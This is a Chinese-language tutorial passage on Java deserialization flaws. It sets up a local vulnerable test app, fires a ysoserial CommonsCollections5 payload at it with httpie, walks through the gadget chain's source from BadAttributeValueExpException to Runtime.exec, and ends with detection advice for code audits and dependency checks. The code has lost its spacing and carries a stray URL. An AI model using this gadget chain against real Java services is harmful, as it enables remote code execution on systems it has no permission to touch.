java反序列化漏洞及其检测( 二 )


此时我们就完成了一个有ApacheCommonsCollections漏洞的验证靶场 , 启动该靶场应用
我们使用ysoserial生成攻击payload:java-jarysoserial-master-8eb5cbfbf6-1.jarCommonsCollections5"calc.exe">poc
然后使用httpie发送攻击payload(poc)httpposthttp://127.0.0.1:8080/rmi<poc
这时候就可以看到poc中的命令执行了
java反序列化漏洞及其检测
文章图片
在1.2的示例中我们使用了ysoserial的CommonsCollections5这个payload , 本节我们对此poc进行分析publicBadAttributeValueExpExceptiongetObject(finalStringcommand)throwsException{finalString[]execArgs=newString[]{command};//inertchainforsetupfinalTransformertransformerChain=newChainedTransformer(//执行“链条”该类的transform会调用transformer使用反射执行命令newTransformer[]{newConstantTransformer(1)});//realchainforaftersetupfinalTransformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},execArgs),//这里是我们输入的命令calc.exenewConstantTransformer(1)};finalMapinnerMap=newHashMap();finalMaplazyMap=LazyMap.decorate(innerMap,transformerChain);//该类的get接口如果输入的key找不到会调用transform函数触发命令执行TiedMapEntryentry=newTiedMapEntry(lazyMap,"foo");//该类的toString会最终调用lazyMap.getBadAttributeValueExpExceptionval=newBadAttributeValueExpException(null);//最终反序列化的类 , readObject会调用entry.toStringFieldvalfield=val.getClass().getDeclaredField("val");Reflections.setAccessible(valfield);valfield.set(val,entry);Reflections.setFieldValue(transformerChain,"iTransformers",transformers);returnval;}
可以最终反序列化的对象为javax.management.BadAttributeValueExpException , 在该类提供了readObject方法 , 在其中有问题的地方为val=valObj.toString();
这里的valObj为TiedMapEntry(lazyMap,“foo”) , 该类的toString方法publicStringtoString(){returnthis.getKey()+"="+this.getValue();}
其中this.getValue为publicObjectgetValue(){returnthis.map.get(this.key);}
而this.map为lazyMap=LazyMap.decorate(innerMap,transformerChain) , 在lazyMap中publicObjectget(Objectkey){if(!super.map.containsKey(key)){//当找不到key的时候调用transformObjectvalue=https://pcff.toutiao.jxnews.com.cn/p/20220901/this.factory.transform(key);super.map.put(key,value);returnvalue;}else{returnsuper.map.get(key);}}
在其中看到 , 没有找到key的时候 , 调用了this.factory.transform(key)
而this.factory为我们构造的包含payload的执行链transformerChain该transformer会最终通过反射执行命令 。
在1中的原理介绍中 , 我们可以看到 , 反序列化漏洞需要依赖执行链来完成攻击payload执行 。 由于反序列化漏洞的特性 , 在检测的时候漏洞扫描工具一般聚焦已知漏洞的检测 , 而未知漏洞的检测 , 安全工具能力非常有限 , 一般需要专业人员通过安全审计、代码审计等方式发现 。
java反序列化漏洞依赖于两个因素:应用是否有反序列化接口应用中是否包含有漏洞的组件
因此对应的漏洞扫描工具也需要根据这两个因素进行检测 。
白盒代码审计工具 , 可通过在调用链中查找是否有发序列化的操作:调用链的入口不同框架是不同的 , 例如在1.2例子中调用链的入口为spring-boot的controller 。 调用链中一旦发现有发序列化操作ObjectInputStream.readObject()则该接口存在序列化操作
但仅仅依靠以上信息不足以判断是否存在漏洞 , 还需要判断代码中是否有存在*执行链**的三方依赖 。 在java中 , 一般通过分析pox.xmlbuild.gradle文件来分析是否包含有漏洞的组件 。